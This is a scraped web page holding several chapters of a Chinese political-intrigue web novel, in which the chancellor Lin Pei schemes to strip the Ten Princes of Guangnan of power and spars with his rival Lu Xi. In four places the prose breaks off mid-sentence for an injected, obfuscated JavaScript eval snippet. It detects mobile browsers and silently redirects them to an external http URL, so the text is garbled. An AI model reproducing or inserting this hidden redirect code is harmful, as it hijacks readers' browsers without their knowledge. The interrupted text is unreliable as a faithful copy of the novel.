董颢顿了一下,道:“只要户部能腾挪出这笔钱粮,工部必能按时送到,大不了多征些劳役。” 林佩忍下这句阴阳怪气的话,转头看向于染:“齐光,你觉得期限会不会紧张?” 于染道:“林相放心,若这点事情都办不好,下官枉做这十年的户部堂官了。” 林佩嘱咐道:“两百万两白银对外要称总数五百万两,无论用什么手段,期间不得走漏风声。” 于染捋一下胡须,笑道:“林相又要摆迷魂阵了,也罢,下官不胡乱揣摩。” 林佩道:“吏部文选司限十日内将礼部所报人员配制齐全,同时考功司提前准备,待七月与十王府宣政结束,立刻组织对广南一十二州官员的通考。” 杜溪亭道:“我这儿全力配合不在话下,但现才三月,筹备大多在六月就可完成,为何要拖到七月才与十王府宣政?” 林佩笑了笑,目光转向方时镜,说道:“磨刀不误砍柴工,正是这一两个月最要紧。” 方时镜也看着林佩,像是在等待什么。 林佩提笔写下一封信。 方时镜道:“知言,你对我还有什么交代?” 墨痕渐干。 封蜡凝固。 “我对你别无交代。”林佩道,“你抵达广州府,将此信交给广南布政使李良夜,自然知道下一步该如何走。” 众人陆续退下。 地图收起,屏风前只留下一个人影。 林佩抬起眼:“你还有何事?” 于染先是一笑,然后又叹口气,说道:“林相,前些天右相又找下官询问开放北方关市事宜,下官以广南宣政为首要,便把右相那边的搁置一旁了。” 林佩凝眸。 朝会前夕见于染为自己办事不遗余力,便知道这一刻即将到来。 支持他的四人之中,方时镜惜名如命,渴望在他的支持下建一份青史留名的功绩;尧恩为人忠义,因昔日得他提拔,故对他忠心耿耿;杜溪亭自小与他相识,大方开朗,也算气性相投。 唯有于染,因提倡发展工商的主张一直不得吴晏舟认同,多年来倍受打压,却正是这么个人,在陆洗入京时突然对他有此表现,不是想投靠,而是想谈条件。 他知道于染想谈什么条件,只是这个条件他无法答应。 细碎尘埃飘浮在空气中,如云雾浮动。 “齐光啊。”林佩浅叹口气,挽袖洗笔,谈起当年那件事,“清明之时,你若去南郊给郑知州扫墓,替我安抚他的家人,记得今年他的儿子年满十二,国子监已经给安排了入学名额。” 于染道:“郑知州当年正是因被十王府诬陷才含冤而死,下官与他莫逆之交……” 笔尖没入清水中,黑墨散开。 正是这时,有人敲了敲门框。 ——“林大人,我可以进来吗?” 陆洗不往里进,只把双手交叉抱于胸口,斜靠在屏风边,抬头望着门上的漆画。 林佩起身:“陆大人找我?” 陆洗道:“不找你,找于尚书。” 于染一顿,看看林佩,不继续说了。 陆洗笑道:“我也是无奈之举,本想约几位尚书到我的屋子坐一坐,奈何他们一个个都要赶回去吃饭,只剩下于尚书在这里,我若再不来,怕连于尚书都请不到了。” 于染斜睨了一眼:“陆相,既然你与北三省布政使有交情,能直接调动他们,何必还经由我们这些腐儒白耽误时间呢?还是说你自己夸下的海口现在圆不住了,要找国库借钱?” 陆洗伸出手掏了掏耳朵,好像没听见这句冒犯的话。 “齐光。”林佩开口道,“平北举行朝贺大典虽不是我的主张,但也是三月朝会议定之事,关乎北方安宁,不可怠慢。” 陆洗拱手:“还是林大人顾全大局,多谢。” 于染在林佩面前做足姿态,这才随陆洗一同去右侧屋议事。 * 左侧屋子的竹帘垂悬下来,渐渐不再摆动。 温迎收好地图,把尚书们坐过的椅子搬回原位,这才小心地从柜里拿出一张棋盘。 黑白子交错落下。 “大人。”温迎一边摆棋,一边请示道,“若是得闲,我想接着跟你学棋。” 林佩挂起笔,笑了笑道:“你还真是一刻都不让我闲着。” 古棋谱是吴晏舟从佚名高人手中得到的,共有九章,每回朝廷办成一件大事,吴晏舟便传授林佩一章,等林佩全部学完,便从吴晏舟手中接过权柄,成为首辅。 这是中书省一脉相承的香火,现在,轮到林佩教温迎。 林佩对待后辈同样慷慨,总是一边办事一边教导,知无不言言无不尽,现在他甚至还多了一丝紧迫感,再不传播学识,怕是中书省大小官吏都要学陆洗那套。 “嗯,我们今天讲角地争夺,黑先杀白。”林佩抓起一把棋子,耐心道,“你放下棋谱,不要死记硬背,我与你梳理一遍棋路。” 白棋占角。 黑棋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749265|174260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如果一扳,白棋往外挤一手,仍然可活; 黑漆如果一挖,白棋一打,两败俱伤。 正解是黑棋先用一子从外面团住,缩小眼位,这时白棋无论是挡是接,黑棋只要再一反扳,就彻底杀死了白棋。 “大人,这……”温迎一醒,抬头道,“这不只是宣政,而是要削藩。” “对。”林佩道,“名曰宣政,是为让十王府放松警惕。” “明白了。”温迎悟道,“兵部的调令是最先的那一子,如此,待收紧绳索之时,十王府便无法逃到广南以外的地方兴风作浪。” 林佩点了点头。 温迎道:“可这之后,何时反扳才能让他们首尾不能顾,四分五裂呢?” 林佩微笑:“现在还早,你心中先有一个大略,之后自然而然就明白。” 温迎道:“是,多谢大人指点。” * 三月下旬,礼部对广南下发诏书,以方时镜为首的宣政使团从永定门出发。 伴随着兵部、户部的秘密转运,朝廷对远在千里之外的十王府势力射出了第一支箭。 林佩没有出城送行,只站在文辉阁二楼凭栏远眺。 远方的层峦叠翠中升腾着看不见的硝烟。 他执子在手,静等对手回招。 * 四月,一封封章奏劾从广南传回直隶,搅动了清明时节的朦胧烟雨。 ——“林相,十王府参广南布政使李良夜告状不受理、决罚不如法,经三司审查,涉及十余起乡绅告民欠债不还的案子,人证物证俱在,却拖延两年未审,确系失职,当押送入京论罪。” 尧恩来到文辉阁,把刑部调查结果交到林佩手中。 林佩的书案上摆着十王府之首惠阳王朱襄送来的原件。 笔迹神气飘逸,字字无声,字字露锋芒。 一省之布政使总揽地方行政之权,宣政才刚刚开始,许多具体事项都要通过布政使执行,正值此时,布政使本人却身陷泥沼之中,其影响之恶劣不言而喻。 京中风声四起,宫里宫外均派人来试探宣政是否还要进行。 林佩关了屋门,把纷乱嘈杂挡在外面,只见尧恩。 “虽说俱已查实,但下官认为这件事仍有蹊跷。”尧恩分析道,“他们的动作太快了,人证物证全是按照审案所需而精心准备,我们问什么,他们就有什么,倒像是一种示威。” 林佩又阅过一遍,说道:“先按律把李良夜押回京城,听候发落。” 尧恩道:“是。” 又十日,李良夜坐在囚车之中,以戴罪之身抵达京城。 * 后湖细雨绵绵,楼阁沐在雾气中。 林佩来到诏狱。 尧恩请无关人等离场,打开牢门。 阴潮气味迎面而来。 牢房中坐着一个白衣人。 这人的胡子已经长得和鬓发连成片,但看那张骨相,难掩天庭饱满,地阁方圆。 他靠在稻草堆上,口中哼着小曲,听到脚步声也没有回头。 林佩放下伞,一时百感交集。 这人就是李良夜,是三年前他为收复广南之政而建议吴晏舟埋下的一枚暗子。 9. 广南宣政(中) “泊桥。”林佩坐下,“你受委屈了。” 小曲戛然而止。 “知言。”李良夜转过头,释然笑道,“现在该称呼你为林相了。” 林佩点头致意:“你且在此忍耐一段时间,等广南宣政功成,我会拿出乌金牒,还你清白。” 李良夜开朗道:“狱中这几日虽然条件艰苦,却是我这三年来感到最踏实的日子,每日我要做的只有吃饭和睡觉,终于不必再周旋于豺狼虎豹之间。” 林佩也笑了笑:“别想得那么美,你先把差交了,再睡觉。” 地方官员身处险境或受到胁迫时,可以选择向刑部递交乌金牒以自保,从此拥有卧底的身份,可参与铲除奸党、逆党、叛党等重大案情,但代价就是收入归公,任职年份不计入吏部考功。 狱吏摆上纸和笔。 李良夜卷起衣袖,挪到桌前:“吴老丞相可还安好?” 林佩道:“恩师已归隐林泉,一切安好。” 李良夜道:“老丞相沉稳持重,前些年的动荡总算是熬过来了,如今你继任相位,朝中局势大体还是稳定的,正可梳理积弊,倒也不必太过束手。” 一边写着,一边对话。 林良夜道:“广南的局面之所以棘手,在于十王府勾结乡绅吞并田地,笼络官员替他们搜刮民间财产,又逐渐把势力扩张至市舶司和海港,控制了南海海运。官员如若不从,就会遇到数不清的麻烦,许多百姓已经不认朝廷,只认十王府为一方父母。” 林佩道:“看来时镜的担心不是多余,如果不斩草除根,只是把朝廷政令在地方宣讲一遍,发钱补贴地方,所有的人力物力都要打水漂。” 李良夜道:“所以这一次,朝廷是真要……” 林佩点了点头:“削藩。” 李良夜握起拳头,有力地敲了一下墙壁:“听你说出这句话我就放心了。” 林佩道:“我坐在高阁之上,对地方局势看不真切,幸好有你做我的眼睛。” 不知不觉之间,白纸已写满密密麻麻的字。 李良夜和盘托出,原来十王府内部也分两股势力,一股以朱襄为首,另一股以其胞弟朱顺为首,两派目前都只是听说了那上百万两用于宣政的银两,还以为和往年一样是补贴地方所用,甚至威胁地方官员要提前把这笔钱拿出来,给朱襄拿六分,给朱顺拿四分。 “因为我拒绝分钱,所以被他们清扫出局。”李良夜道,“不过临走之前我还打听到一个内情,那就是朱襄和朱襄之间已有嫌隙,朱顺年轻有野心,一直想取代朱襄十王府头领的位置。” 林佩道:“你做的很好,这就足够。” 李良夜抓住林佩的手,笃定道:“我信你,知言,我相信你不会让我的努力白费。” 林佩临走前亲自交代饭食,让狱卒更换床褥,看着他们把牢房的卫生收拾了一遍才离开。 * 李良夜被关入诏狱之后,朝中无人再敢领空缺的广南布政使一职。 在众人对宣政是否继续进行猜测不断之时,文辉阁正悄然无声地进行着一场对弈。 林佩坐在温迎对面,先后做了两件事。 第一件,他放出口风,说眼下朝廷乏才可用,想请朱襄推举一名布政使人选。 第二件,他起草文书,表彰朱顺镇南有功,命其暂代布政使之职,配合朝廷宣政。 温迎看着棋盘,心却早已不在其上。 眼前的实例比棋谱上的生动百倍。 林佩道:“上回你问我何时反扳,现在明白了吗?” 温迎道:“是,布政使之位是块肥饵,谁得到谁就有实权,就能分配银钱,故而大人这一手反扳是逼朱襄朱顺相争,往后便可坐收渔翁之利。” 林佩道:“你说你都懂了,我倒还要考考你。” 温迎道:“大人请问。” 林佩道:“这么明显的挑拨之计,凭何他们会上钩?” 温迎皱眉:“这,是为何?” 林佩伸出手,指尖点过先前布好的局:“因为我们已经占住高势,无论是布政使之位还是百万银钱,争到最后他们便会明白,争的不是金钱也不是地位,而只是一线生机。” 温迎道:“大人会给这一线生机吗?” 林佩摇了摇头。 窗外竹叶摇曳,似在与他们一同见证瞬息万变的局势。 * 一纸敕书传到广南,揭开了朝廷与十王府第二次交锋的幕布。 广南十王府邸,成片竹林在风中响动。 朱襄坐在水车旁,赤着两只脚浸泡在清水中,由左右两位小妾揉搓按摩。 朱顺低头站在后面。 两个人把朝廷派来的宣政使团安置在广州府馆驿中,已经打点好上下,就等着方时镜把户部拨来的银钱花出去。 若是用于兴办学府,补助寒门子弟,就让自己人充作寒门,从印书、采办教具等事中谋利;若是用于治理海运,就在修造耗材之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749266|174260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上动手脚;若是用于建常平仓,就私改量具,从中窃取。 但他们谁都没有想到,朝廷竟把布政使之权交到了在十王府坐第二把交椅的朱顺手中。 朱顺道:“哥,我真不知情,我没有与京城走动,再说若是你不允,我岂敢领布政使之权?” 朱襄笑了一声,道:“敕书不过一张薄纸而已,我叫你来是告诉你,即便传言是真,林佩真让我来推举布政使人选,我也会先和你商量再做决定。” 朱顺擦汗,笑道:“谢谢哥。” 朱襄道:“你什么时候动身去广州府?” 朱顺道:“明日,我到任之后即去点库银,咱们约好的规矩,我谨记在心。” 朱襄道:“好。” 朱顺暂代广南之政,到广州府之后,发现传闻中的五百万两银子落地变成了两百万两。 他问押运银子的官员,得知余下的两百万两要延迟半年,遂将此告知朱襄。 然而朱襄因前事已对朱顺起了疑心,听到这样的解释,始终没有好脸色。 这次对话之后,朱顺每趟来十王府的院子,都只能听见水车吱呀转动,不见朱襄其人。 人心易变。 朱顺起初还很在意朱襄的态度,但在安居布政使之位一个月后,他见宣政使团开始按部就班地到各州府宣讲朝廷政令,银钱则逐渐收入他的囊中,便渐渐麻痹大意。 终有一次,他见朱襄不在,脱掉鞋子,把脚放进水里,学朱襄的样子拨了拨那个水车。 朱襄站在楼上,静静把这一幕看在眼里。 往北远眺,竹林在风雨中泛起青色波浪。 朱襄知道此时他们真正的对手应是那位远在京城的年富力强的左丞相林佩。 他对林佩和方时镜等人在三月朝会上的主张早有耳闻,所以也提前做了一手准备,派了一批能言会道的游士潜入京城各大酒肆茶坊,替他散布谣言,制造混乱。 他知文人士大夫大多爱惜名声,所以想利用这一弱点进行回击,让宣政大计半途而废。 * 五月底,天气变得炎热。 在京城的勾栏瓦子、酒肆茶坊、市井街巷之中,流言与汗酸味一同弥漫开来。 ——“听说没,宣政使团到地方之后胡吃海喝,擅自挥霍库银数十万两。” ——“什么恢复地方之治,看来都是骗人的。” ——“呵,那些大人们嘴上说体恤民情,背地里什么都敢克扣。” 10. 广南宣政(下) 流言传遍朝野。 林佩被召入皇宫。 他用一个时辰向董嫣和朱昱修解释了事情的起因和经过,打消了宫中人的顾虑。 可刚回到文辉阁他就觉得嗓子干痒,不停喝水,咳出几道血丝。 温迎看到,关切道:“大人,你千万要保重身体啊。” 林佩抬手制止声张,把绢帕揉进袖中。 他的身体一向如此,夏天炎热干燥,冬天雨雪严寒,总是咳嗽。 现在支撑他日夜守在文辉阁的是南方未了的大事。 温迎道:“十王府不反思这些年的罪行,居然还敢派人到京中造谣,真是可恶。” 林佩接过布巾,擦了擦脸:“不用在意,他只是穷途末路,随意落子罢了。” 温迎道:“那我们该如何?” 林佩道:“可以杀棋了。” 六月中旬,林佩将计就计,以纠察为名发调兵令,令广南都司指挥使带领早先布置的三万人围住广州府,趁其不备,一举切断了朱襄与朱顺的联络。 让林佩稍感意外的是,就在他走完这一步棋不久,京中流言蜚语突然销声匿迹,似乎有另一股力量介入并切断了流言的源头。 但他没有功夫细究,现在,他必须时刻准备应对瞬息万变的局面。 * 六月,广州的天空阴云密布。 布政使大院人影匆匆。 官吏见到都卫兵马,忙着把家私转运到别处。 方时镜从馆驿跑到街口,见传言是真,握起拳头,深吸了一口气。 两个月以来,他谨记李良夜临行前的叮咛,哪怕明知用于宣政的银钱已被朱顺以各式各样的狡猾手段盗取,仍装聋作哑,在地方官员陪同之下继续宣讲。 直到这一刻,他知道出手的时机已来临。 朱顺被周围的动静搅得心烦,呵斥众人道:“尔等慌什么?本王乃太祖玄孙,岂会真被查?” 方时镜来到跟前,躬身行礼。 朱顺道:“方尚书的祖籍也在广南吧?” 方时镜道:“回王爷,本官是惠州人。” 朱顺道:“本王想听听你的意思,宣政尚未结束,朝廷会对本王动真格吗?” 方时镜道:“借步说话。” 密不透风的屋子,只有佛龛前点着一星烛火。 方时镜道:“王爷,其实本官不明白,林相已经暗示得这么明显,王爷先前为何错失良机?” 朱顺挑起眉毛:“什么意思?” 方时镜道:“先帝一朝对十王府素来宣抚怀柔,是今年三月,太后在朝会上突然问起此事,林相才不得不做此主张,其实林相执掌朝政刚半年,何尝不需要政绩和人脉以稳固地位?所以他早就和我打过招呼,想让你顶替惠阳王成为执牛耳之人,惠阳王倒了,对太后也算有个交代,而广南之政则全部落在王爷你手中,只要你记住林相这份恩情便好。” 假话和真话一起说最难分辨。 朱顺听了,将信将疑,心中升腾起一股欲望的火焰。 方时镜见火候已到,又浇下一瓢冷水:“可惜现在晚了。” 朱顺道:“怎么就晚了?” 方时镜敲打道:“王爷这边顾及情谊迟迟不动手,却被惠阳王捷足先登,俗话说无风不起浪,如若不是京中有变,朝廷怎会插手?” 朱顺道:“定是京中有人造谣诋毁,却为何只查本王,不查惠阳王?” 方时镜道:“这不是很明显的事吗。” 朱顺回想起近几次去找朱襄,要么看不到人,要么只能看到阴沉的脸色,顿生不祥之感。 他心中的那把剑经过欲望炙烤,又在怀疑之中淬过火,变得异常尖锐锋利,而十王府与广州府的联络已断,他也没办法找朱襄对质,于是陷入了绝境。 “方尚书,请你告知林相,本王感谢他的信任。”朱顺点香拜佛,回复道,“绝不辜负。” 方时镜笑着点头。 是日,朱顺以配合监察为名向朝廷上表,对惠阳王朱襄的种种恶行进行揭露。他一心只想争夺尚方宝剑,并没有仔细核实京中流言是否真如他所想的那样。 实际上,朱襄制造流言,矛头指向是林佩和方时镜,目的在于阻挠宣政。 现如今这些流言却成为了飞向十王府的回旋镖。 七月初,暴雨倾盆。 十王府门前的竹林狂乱地舞动。 ——“糊涂东西!唇亡齿寒,没了我,你难道真信林佩会独许你荣华富贵吗?!” 朱襄闻讯大怒,一把甩开小妾,把水车推倒在地。 无奈他的怒吼穿不过十里竹林,无法让朱顺亲耳听到。 朱顺对十王府内务了如指掌,得到方时镜保全自己的承诺后,立刻供出与朱襄勾连的地方官员、乡绅的名录及账册,以迅雷不及掩耳之势破除壁垒,解开了朝廷与地方对抗的僵局。 这是前所未有的裂变。 一株一株大树被连根拔起,深埋在地下的种子终于重见天日。 方时镜走访各州取得大量实证,夜以继日地写了一封本子奏报朝廷。 * 这一夜,林佩睡得很沉,醒来时天已大亮。 ——“相爷,快醒醒,杜尚书都堵到门口了。” 林佩睁开眼,猛地坐起来。 消息终于来了。 广南传回佳音,朱顺在朝廷恩威并施之下终于交代了惠阳王朱襄的失德行径,都卫虽按兵不动,但十二州府顶不住压力,自查账簿,先行惩处了一批知县乡绅,并奏报朝廷。 朱襄感到形势不利于自己,躲在十王府闭门不出,任凭羽翼被修剪。 种种迹象都表明这次宣政即将取得成效。 林佩走出府门,只见道路旁停着一辆马车,杜溪亭迎面对他行礼。 “你真是料事如神,当初说七月,如今正是七月。”杜溪亭笑道,“十王府被由内攻破,再难恢复元气,我吏部上下枕戈待旦,就等着使团谈判结束,立即重整广南编制。” 林佩也笑了,这一笑是如释重负。 毕竟是他担任丞相以来主持的第一件大事,现在大局已定,他总算可以在朝中站稳脚跟。 杜溪亭道:“知言,只是那朱顺还领着广南布政使的职权呢,不知你打算如何处置?” 林佩道:“走吧,我坐你的马车,我们一同上衙,边走边说。” 杜溪亭道:“我和你好像只有到街口这百步顺路吧?” 林佩瞥了他一眼:“那你绕路送我。” 杜溪亭道:“哈哈哈哈,我口无遮拦,你别介意,请。” 林佩坐进马车,不想车厢里随处可见是孩童的玩具,如陀螺、拨浪鼓、傀儡人偶、毽子等。 “你说这些啊。”杜溪亭笑着解释,“我家小九顽皮,跟他说这是官车,他还是把这儿当成好玩的地方,什么宝贝都往里藏,拦都拦不住。” 林佩不禁感慨——二人虽是同年,可谁知余生还有多少共同话题。 二人言归正传。 杜溪亭道:“方才我问如何处置朱顺,是担心事情又起反复。” 林佩道:“是,斗倒朱襄并不意味着成功,宣政真正的目的也不仅仅是换掉一个又扶植另一个,只有让官员和百姓把朝廷的法度记在心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749267|174260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,自觉遵守,才能称得上清明。” 杜溪亭道:“可朱顺只是年轻冲动,又不是个傻的,在揭发朱襄之前肯定会销毁证据把自己摘干净,现在你要惩治他,还能以什么名由呢?” 林佩笑了笑,卷帘看繁华街市:“别小瞧方尚书,这可是他留名千古的大好时机。” 马车缓缓穿过廊桥,谈笑声渐远。 * 车轮在乡道留下深深浅浅的辙痕。 还没有到惠州通县境内,乡民已经把马车堵得寸步难行。 方时镜因天气炎热中暑不适,可见到此情此景,仍下车与乡民一同步行。 他做礼部尚书之事在当地家喻户晓,方姓族人在通县也是德高望重,颇有影响力。 知县此时就在方家老宅恭候。 老桑树下,一人端着一碗酸梅汤,围着草席坐。 “尚书大人。”知县试探道,“下官斗胆向你打听,朝廷之后还会更换布政使吗?” 乡民对此也十分关心。 因十王府势力在广南根深蒂固,许多民众至今仍被蒙在鼓里,并不相信朱襄已经失去权势,甚至以为等宣政使团离开,朱襄和朱顺仍然是他们的一方父母。 面对父老乡亲对广南局势的询问,方时镜取出一张空白的纸,就地把体裁格式教给知县。 “我知道,过去这些年,你们不敢把实情向上呈报,是因为惧怕报复。”方时镜道,“我向你们保证,这次朝廷是下定决心治理广南,请父老乡亲们开一个头,大胆把知道的事往上报,有物证出物证,没物证的就做人证,本月之内我定会给你们一个交代。” 知县深受鼓舞,带头写下诉状。 乡县之人直到这一刻才幡然醒悟——原来多年以来上级层层克扣并不是朝廷腐败,而是十王府勾连乡绅逼着官员搜刮民间财产,朱襄朱顺等人幕前幕后竟然是两副面孔。 一碗酸梅汤,香飘三百里。 在广南十二州观望之际,方时镜没有给朱顺喘息的机会,只身赶往惠州通县老家,说服父老乡亲带头向宣政使团告发朱顺,为附近的州县指明了道路。 之后,星火燎原,十二州官民彻底觉醒,争先恐后地涌入馆驿找宣政使团提供线索。 朱顺此时才反应过来——先前方时镜对他说的话全是假的,朝廷自始至终就没打算留用他。 一夜之间,朱顺白了头。 广州府门从里面打开。 院子里的火盆仍燃着未烧完的状纸。 朱顺走出门,一身的酒气,口中喃喃有词:“哥,是我动了不该有的念头,既害了你也害了我自己,现在我陪你来了。” 街边百姓目光如刀剑,此时无声胜有声。 朱顺不敢多停留,躲上为其准备的马车,被送回十王府邸。 七月十五,方时镜从惠州来到十王府邸,正式代表朝廷与朱襄、朱顺等藩王展开谈判。 朱襄、朱顺此时声名狼藉,再也无法与宣政使团对抗,只能吐出银钱,接受朝廷处置。 诸王各领一县之地,终身不得出城门,不许和地方官结交,不许染指地方事务。 谈判结束当日,吏部对广南诸州官员考功的政令与新任的布政使一同抵达广州府。 至此,朝廷兵不血刃地收回了广南的统治权,广南宣政功成圆满。 * 七月,京中也下了一场雨。 林佩走过廊下,抚过窗台上的水痕。 ——“林大人在等宣政使团回来一同庆功吧?” 林佩转过身,见陆洗从后廊转角处走来。 林佩道:“陆大人找我何事?” 11. 郑冉案 “宋轶出门办差去了。”陆洗笑了笑道,“我想找个人陪我一起吃午饭。” 林佩道:“我和温迎一起吃。” 陆洗道:“我这儿有鲍鱼。” 林佩道:“不是一只鲍鱼的事。” 陆洗道:“那就两只,都给你。” 后廊玉兰轩摆好碗筷,二人面对面坐。 陆洗把玉盘珍馐放在桌子中间,依然只慢吞吞地喝面前的一小碗白粥。 林佩的胃口倒是不错。 回想这几个月,陆洗似乎真的牢牢记着告诫,除去那次中途把于染叫走就再没招惹过他。 至此,他只要等宣政使团回京城,便可以上奏替李良夜正名,为方时镜请功。 陆洗道:“林大人,是时候向你道喜了。” 林佩笑了笑:“区区小事不足为道,平北朝贺你准备得如何?” 陆洗也笑道:“这不,有事找你商量。” 林佩道:“商量什么?” 陆洗道:“那日碰巧撞见于尚书向你求情,好像牵涉郑知州一案,我想问一问究竟。” 林佩的神情微变。 他不明白陆洗为什么好端端提起那件案子。 林佩道:“案子发生在三年前,你那时在平北,无甚干系。” 陆洗道:“也不能说完全无关,于尚书掌管国库十年,精明老练,他一直在提的《兴商利工十策》在我看来是真知灼见,我不仅尊重他,还想让他伸展抱负。” 林佩道:“所以呢?” 陆洗道:“所以这事现在就与我有关。” 这句话让林佩气笑了。 “就因为你想争取于染的立场,所以要翻三年前的案?”林佩怼道,“你这人着实可爱。” 陆洗噎了一下,辩解道:“其实你不必对我有这么大的敌意,我只是问问,问问。” 林佩道:“现在已经七月,筹备平北朝贺才是你该操心的事。” 陆洗道:“且筹备着呢,我自有我的打算。” 林佩无奈地摇了摇头。 以他对陆洗的了解,自己越是拦着恐怕对方越要细查,倒不如先解释一遍。 “那你听好,我只说一遍。永熙二十一年五月癸丑,高州迅雷震电,海上有白龙并云而来,摧毁了大批渔民房屋,知州郑冉主持赈济灾情,但被十王府干涉,大抵是要他抽出赈济款分成,他不答应,带流离失所的百姓冲了当地的常平仓拿粮食,后被朱襄告到京城,处以极刑。” 林佩说完,没给对方思考的时间,用筷子敲了一下玉盘的边缘:“陆大人每天用来撑面子的这些山珍海味回去怎么处理?” “一般是宋轶会帮我送回府。”陆洗眸色深沉,似正在思考,只漫不经心地回道,“今天他不在,就倒泔水桶吧。” 林佩啧啧连道可惜,夹起两片菜叶。 “你等一下。”陆洗突然想到什么,放下碗,“冲常平仓可是死罪,一个正四品的前程大好的官员,要被逼到多绝望的境地才会做那样鱼死网破的选择?” 林佩道:“所以于染一直以为其中有冤情,但郑知州到了刑部以后,对其所作所为供认不讳,确实触了律法,犯了死罪。” 陆洗道:“这之后你们就不查了?” 林佩道:“审理此案的人是吴老丞相,我只是知道个大概,没有具体经办。” 陆洗道:“现在呢,现在广南刚刚收复,不正是翻案的好机会吗?” 林佩不回答。 在林佩的理念里,规则秩序一直都高于个人情感,与其同情一个人的悲惨境遇,不如修正律法,防止未来更多的人陷入同样的境遇。 此案之后,他与刑部共同修订乌金令,使地方官员在陷入泥泞时可以密奏刑部,以为朝廷做卧底的方式保护自己。 盘中餐渐渐清空。 林佩也不知自己为何突然胃口这么好,许是这几天操劳国事,根本没好好吃饭。 陆洗道:“林大人,如此看来于尚书之所请是有道理的,这案子我想接。” 林佩道:“我劝你不要剑走偏锋,世间万事的背后都有因果,这个案子也一样。” 陆洗道:“你见过流民吗?” 林佩道:“阜国疆域广阔,难保每个地方都风调雨顺,有流民也不是什么奇事。” 陆洗道:“我是问……” 林佩抬起头,见陆洗直勾勾地盯着自己。 陆洗道:“你亲眼见过流民吗?” 林佩想了想,如实道:“京城很少流民,我没有亲眼见过。” 陆洗笑道:“这就是了。” 林佩道:“什么?” 陆洗道:“若是你亲眼见过,哪怕一次,必也不会无动于衷。” 林佩放下筷子,漱口擦脸。 二人吃过饭,各自回书房办公。 下晌,淡淡柏子香味从外面飘进来。 林佩闻着香,起身去堂上游走。 他随口考了郎中和舍人几篇文章,见能对答如流,心中添喜。 然而舍人一句无心之语,又让他的喜悦变为了担忧。 “志朴香堂的闲禅悦真是好闻。”舍人笑着说,“烟润,形美,不呛鼻,不熏人。” 林佩回过头,只见紫檀木案上那个经久未用的香炉此刻正徐徐飘出淡青的烟雾。 他在屋子里闻到的便是这气味。 林佩道:“谁允许你们动香炉的?我说过,恩师留下的物件能不动的就不要动。” 舍人立刻低头:“不是我们,是,是……陆相点的香。” 熏香,熏染的是人的气性。 林佩闭眼默了片刻,仍觉此事有必要计较,把陆洗叫了出来。 陆洗刚见完几个人,此刻也偷闲,正抱着妞儿给它梳毛。 林佩道:“陆大人喜欢熏香,请在家里点,不要在这里点。” 陆洗梳着猫儿脖颈间的长毛,笑回道:“昨日奉旨带妞儿进宫,陛下大悦,特赏赐志朴香堂的贡香闲禅悦,我想与其一个人私藏,不如同大家分享。” 香的气味倒是自然清淡,连猫儿都喜欢,也有一说此香通名衔蝉悦,是因之而闻名。 猫儿翻着肚皮,咕噜咕噜打呼噜。 林佩却只听出一个意思——香是御赐的,谁若要灭,便是对天子不敬。 此事只得作罢。 林佩淡淡道:“朝南。” 陆洗往南边看:“什么?” 林佩指向香炉:“刻兽首的一面,恩师喜欢让它朝南。” 陆洗微微一怔,旋即笑了,立刻卷起袖子,按林佩的要求一丝不苟地摆好香炉的位置。 ——“林大人,现在对否?” ——“再往左一点儿。” ——“现在呢?” ——“差不多,就这样。” * 傍晚,老骆照常在林府门口迎接。 林佩道:“老骆,今天时辰尚早,你陪我去一趟后园。” 老骆笑道:“好,好,好。” 林佩到六岁的侄儿房中教导功课,亥时方歇。 老骆喜出望外:“相爷啊,你来这一遭可让我省去不少心, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15749268|174260||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柠儿现在越来越淘气,弄得我是焦头烂额,这下好了,六七天的安宁是有了。” 林佩道:“那是因为我有另一件事交给你办。” 老骆的笑容立刻消失。 林佩道:“查一个人。” 老骆道:“谁?” 林佩道:“陆洗。” 老骆追着脚步往前:“怎么又是右相?” 林佩道:“这次给你线索,就从西门外三条巷的志朴香堂查起,看和陆洗有无利益往来。” 二人走过曲廊。 廊下珠灯照着青松。 